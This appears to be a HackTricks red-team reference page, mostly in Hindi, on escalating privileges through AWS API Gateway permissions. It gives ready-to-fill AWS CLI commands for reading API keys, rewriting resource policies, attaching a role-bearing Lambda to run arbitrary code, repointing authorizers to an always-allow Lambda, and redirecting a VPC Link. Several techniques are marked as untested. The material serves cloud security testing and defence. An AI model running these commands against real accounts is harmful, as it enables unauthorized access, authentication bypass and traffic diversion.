AWS - Apigateway Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Apigateway

अधिक जानकारी के लिए देखें:

AWS - API Gateway Enum

apigateway:POST

इस permission के साथ आप configured APIs के API keys जनरेट कर सकते हैं (प्रत्येक region के लिए)।

aws --region <region> apigateway create-api-key

संभावित प्रभाव: आप इस तकनीक से privesc नहीं कर सकते, लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।

apigateway:GET

इस अनुमति के साथ आप कॉन्फ़िगर किए गए APIs के जनरेट किए गए API keys प्राप्त कर सकते हैं (प्रति क्षेत्र)।

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

संभावित प्रभाव: आप इस तकनीक से privesc नहीं कर पाएँगे लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।

apigateway:UpdateRestApiPolicy, apigateway:PATCH

इन अनुमतियों के साथ यह संभव है कि आप किसी API की resource policy को संशोधित करके खुद को इसे कॉल करने की अनुमति दे दें और API gateway के संभावित एक्सेस का दुरुपयोग करें (जैसे किसी कमजोर lambda को invoke करना)।

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potential Impact: आप आम तौर पर इस तकनीक से सीधे privesc नहीं कर पाएँगे लेकिन आप संवेदनशील जानकारी तक पहुँच प्राप्त कर सकते हैं।

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

परीक्षण आवश्यक

apigateway:PutIntegration, apigateway:CreateDeployment, और iam:PassRole अनुमतियाँ रखने वाला एक हमलावर किसी मौजूदा API Gateway REST API में एक Lambda function जिसे IAM role से जोड़ा गया हो, उसके साथ नया integration जोड़ सकता है। फिर हमलावर उस Lambda function को ट्रिगर करके arbitrary code चला सकता है और संभवतः IAM role से जुड़े resources तक पहुँच प्राप्त कर सकता है

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: Lambda function के IAM role से जुड़े संसाधनों तक पहुँच।

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

परीक्षण की आवश्यकता

ऐसा attacker जिसके पास permissions apigateway:UpdateAuthorizer और apigateway:CreateDeployment हों, मौजूदा API Gateway authorizer को संशोधित करके सुरक्षा जांचों को bypass कर सकता है (उदा. इसे ऐसे Lambda की ओर repoint कर देना जो हमेशा “allow” लौटाता है) या API requests किए जाने पर arbitrary code निष्पादित कर सकता है।

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: सुरक्षा जांचों को बायपास करना, API संसाधनों तक अनधिकृत पहुँच।

HTTP APIs / apigatewayv2 वेरिएंट

HTTP APIs (API Gateway v2) के लिए, समकक्ष ऑपरेशन apigatewayv2 के माध्यम से authorizer को अपडेट करना है:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

परीक्षण की आवश्यकता

एक हमलावर जिसके पास अनुमति apigateway:UpdateVpcLink है मौजूदा VPC Link को किसी अलग Network Load Balancer की ओर इंगित करने के लिए संशोधित कर सकता है, जिससे निजी API ट्रैफ़िक अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित हो सकता है।

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potential Impact: निजी API संसाधनों तक अनधिकृत पहुँच, API ट्रैफिक का अवरोध या बाधा।

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें